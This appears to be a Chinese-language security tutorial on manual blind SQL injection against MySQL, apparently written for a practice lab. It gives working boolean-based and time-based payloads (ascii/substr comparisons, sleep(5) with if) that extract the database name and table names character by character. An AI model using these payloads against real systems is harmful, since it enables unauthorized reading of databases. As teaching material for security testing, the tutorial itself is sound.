#### 盲注
以下用手工的方式來一步一步測試based boolean和based time。
一、 based boolean
基于boolean的盲注主要表現(xiàn)癥狀:
0.沒有報(bào)錯(cuò)信息
1.不管是正確的輸入,還是錯(cuò)誤的輸入,都只顯示兩種情況 (我們可以認(rèn)為是0或者1)
2.在正確的輸入下,輸入and 1=1/and 1=2發(fā)現(xiàn)可以判斷
在演示sql盲注之前,先演示一個(gè)mysql小知識(shí):
```
Select database(); //得到數(shù)據(jù)庫名稱
Select substr(database(),1,1);//使用substr函數(shù)截取結(jié)果中的值,從第一個(gè)字符開始,截取1個(gè)字符。
Select ascii(substr(database(),1,1)); 將截取出來的字符,轉(zhuǎn)換成acsii碼,以便于后面做運(yùn)算。
Select ascii(substr(database(),1,1))>97; //結(jié)果會(huì)為1或者0,也就是true or false
```
上面的知識(shí)要引申出來的一個(gè)邏輯是:
  既然在盲注情況下,從頁面上只能判斷1,0的情況,那么我們可以對databae()的結(jié)果截取一個(gè)字符,轉(zhuǎn)換成ascii后進(jìn)行運(yùn)算,根據(jù)true或false的結(jié)果確認(rèn)截取的這個(gè)字符的ASCII碼,然后在將這個(gè)ascii碼轉(zhuǎn)換成字符,從而得到database()里面的第一個(gè)值。依次類推,得到所有結(jié)果。
based Boolean-手動(dòng)測試:
01、如何確認(rèn)需要遍歷的結(jié)果一共有多少個(gè)字符呢?
```
可以首先使用length()函數(shù)做一個(gè)確認(rèn):通過一個(gè)比較,得出長度。
Id=1' and length((select database()))>x;
mysql> select length((select database()))>7;
+-------------------------------+
| length((select database()))>7 |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
?
mysql> select length((select database()))>8;
+-------------------------------+
| length((select database()))>8 |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
```
02、Test Payload:
```
kobe' and ascii(substr(database(),1,1))>97#
輸出: 用戶不存在
kobe' and ascii(substr(database(),1,1))=97#
輸出: kobe的信息
因此,可以判斷database()的第一個(gè)字符為a!
```
03、獲取表信息的Test Payload:
```
ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)>100#
獲取其他信息的思路一樣.
```
二、based time
  基于boolean的盲注可以在頁面上看到0 or 1的回顯,但是基于time的盲注是看不到的。
  但是我們可以通過“時(shí)間”條件進(jìn)行特定的輸入,判斷后臺(tái)執(zhí)行sql語句的時(shí)間來判斷是否存在盲注。
01、Teat Payload:
```
kobe' and sleep(5)#
```
分別輸入:kobe 和輸入kobe‘ and sleep(5)#,從而判斷這里存在based time的SQL注入漏洞:
![](/upload/attach/201801/201801191855_V4ANV5896BWFRJ8.jpg)
02、獲取基礎(chǔ)信息test payload:
```
kobe' and if ((substr((select database()),1,1))='a',sleep(5),null)#
```
mysql中if的用法:
if(條件,true返回,false返回)
思路解釋:
    通過substr對database()的結(jié)果截取第一位,然后判斷是否等于X,如果等于則為真,然后執(zhí)行sleep(5),如果不等于則為假,則null, 然后通過sleep的現(xiàn)象來確認(rèn),依次類推,遍歷出所有的值。
03、獲取表信息test payload:
```
kobe' and if(
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),null
)#
```
  無論是based boolean還是based time,要一步一步手工測試是非常麻煩的,以上只是用手工的方式說明盲注的原理,一般情況下,會(huì)使用一些sql注入工具來代替以上我們一步一步手工測試的步驟,后面會(huì)講到如何使用sqlmap來進(jìn)行注入測試。